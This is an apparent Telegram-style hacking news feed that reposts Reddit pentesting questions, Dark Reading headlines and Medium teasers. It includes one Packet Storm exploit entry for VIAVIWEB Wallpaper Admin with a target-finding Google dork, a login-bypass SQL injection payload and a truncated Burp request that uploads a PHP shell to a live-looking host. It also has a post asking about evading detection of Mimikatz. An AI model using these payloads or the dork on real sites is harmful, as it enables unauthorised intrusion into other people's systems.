New career in Pentesting
https://www.reddit.com/r/Pentesting/comments/xihq1f/new_career_in_pentesting/

Currently, I am working as full-stack developer. Recently, I worked with security team on security fixes related to web applications. Now I am more interested in security. Can anyone please guide to start career in cybersecurity. What tools and topics I need to learn to get into Pentesting? Are there any best courses? submitted by /u/Top_Sleep9818 (https://www.reddit.com/user/Top_Sleep9818)
[link] (https://www.reddit.com/r/Pentesting/comments/xihq1f/new_career_in_pentesting/) [comments] (https://www.reddit.com/r/Pentesting/comments/xihq1f/new_career_in_pentesting/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
polymorphic string printing

Can you print "Invoke-Mimikatz" in PowerShell without being detected using a mutation engine?

submitted by /u/dannova23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Vuln scanner, fim & data sensitivity scanning

Anyone know of any all in one tools that encompass vulnerability scanning, file integrity monitoring and stay sensitivity scanning in one?

submitted by /u/WhoWantsASausage
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Embedded systems design for hacking?

I know a few things like coding in C for embedded systems, making microcontrollers, custom pcbs etc. How well will this help me in the field of cyber sec, what are the uses or applications of this skill in modern day hacking?

submitted by /u/Horse-Trojan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cyberattackers Make Waves in Hotel Swimming Pool Controls

Pool controllers exposed to the Internet with default passwords let threat actors tweak pool pH levels, and potentially more.

Dark Reading: Attacks/Breaches
5 Ways to Improve Fraud Detection and User Experience

If we know a user is legitimate, then why would we want to make their user experience more challenging?

Dark Reading: Attacks/Breaches
TPx Introduces Penetration Scanning, Expands Security Advisory Services

TPx, a leading nationwide managed services provider (MSP) delivering cybersecurity, managed networks, and cloud communications, today announced the addition of penetration scanning to its Security Advisory Services portfolio.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VIAVIWEB Wallpaper Admin SQL Injection / Shell Upload

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
VIAVIWEB Wallpaper Admin suffers from remote shell upload and remote SQL injection vulnerabilities.

SHA-256 | 2adfb8f70f50742a66bf5ad5b7a1bccff06637cf13ee52a9534547c07ead30ed

Download
```
# Exploit Title: [VIAVIWEB Wallpaper Admin - Multiple vulnrabilities]
# Google Dork: intext:"Wallpaper Admin" "LOGIN" "password" "Username"
# Date: [18/09/2022]
# Exploit Author: [Edd13Mora]
# Vendor Homepage: [www.viaviweb.com]
# Version: [N/A]
# Tested on: [Windows 11 - Kali Linux]

------------------
SQLI on the Login page
------------------
payload --> admin' or 1=1-- -
---
POC:
---
[1] Disable JavaScript on ur browser put the payload and submit
[2] Reactive JavaScript and resend the request
---------------------------
Authenticated SQL Injection:
---------------------------
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/edit_gallery_image.php?img_id=[number]
-----------------------------------------------
Remote Code Execution (RCE none authenticated):
-----------------------------------------------
Poc:
----
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/add_gallery_image.php?add=yes
--------------------
Burp Request :
--------------------

POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2
Host: http://googlezik.freehostia.com
Cookie: _octo=GH1.1.993736861.1663458698; PHPSESSID=qh3c29sbjr009jdg8oraed4o52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33893919268150571572221367848
Content-Length: 467
Origin: http://googlezik.freehostia.com
Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------33893919268150571572221367848
Content-Disposition: form-data; name="category_id"

1
-----------------------------33893919268150571572221367848
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: image/png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
THM — Intermediate Nmap

https://cdn-images-1.medium.com/max/600/1*sMOB5TzeQ804d71gaABrTw.png
Platform: TryHackMe
Room: Intermediate Nmap
Difficulty: Easy
Tags: Security, Nnetwork, Enumeration, Netcat
Description: Can you combine…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Red Team Threat Intel | Tryhackme

https://cdn-images-1.medium.com/max/600/0*NGaoK7mSOWHXv2Mo.png
THM room

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Phonon Brief #10 Sept 10–17, 2022

https://cdn-images-1.medium.com/max/1066/1*8zE9vfDgpG5DaQpyBVhapw.png
Welcome to the 10th edition of The Phonon Brief. With so much happening in our community we are brining the Phonon Brief back!

Continue reading on Phonon DAO »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Sunsetting legacy Cybersecurity Process for Better Optimization and Security Modernization

https://cdn-images-1.medium.com/max/2600/1*RDnfvIkFxUPve9XL9k8PcA.jpeg
The idea of “if it isn’t broken, don’t fix it” should not apply to cybersecurity. Most organizations develop three to five-year phasing…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Gauing for instant bounties.[Conclusion]
https://debprasadbanerjee502.medium.com/gauing-for-instant-bounties-conclusion-5f892782b066?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

So in the previous part, I explained how to Gau, to score instant bounties.Continue reading on Medium » (https://debprasadbanerjee502.medium.com/gauing-for-instant-bounties-conclusion-5f892782b066?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Gauing for instant bounties.[Conclusion]

So in the previous part, I explained how to Gau, to score instant bounties.Continue reading on Medium »
Read more...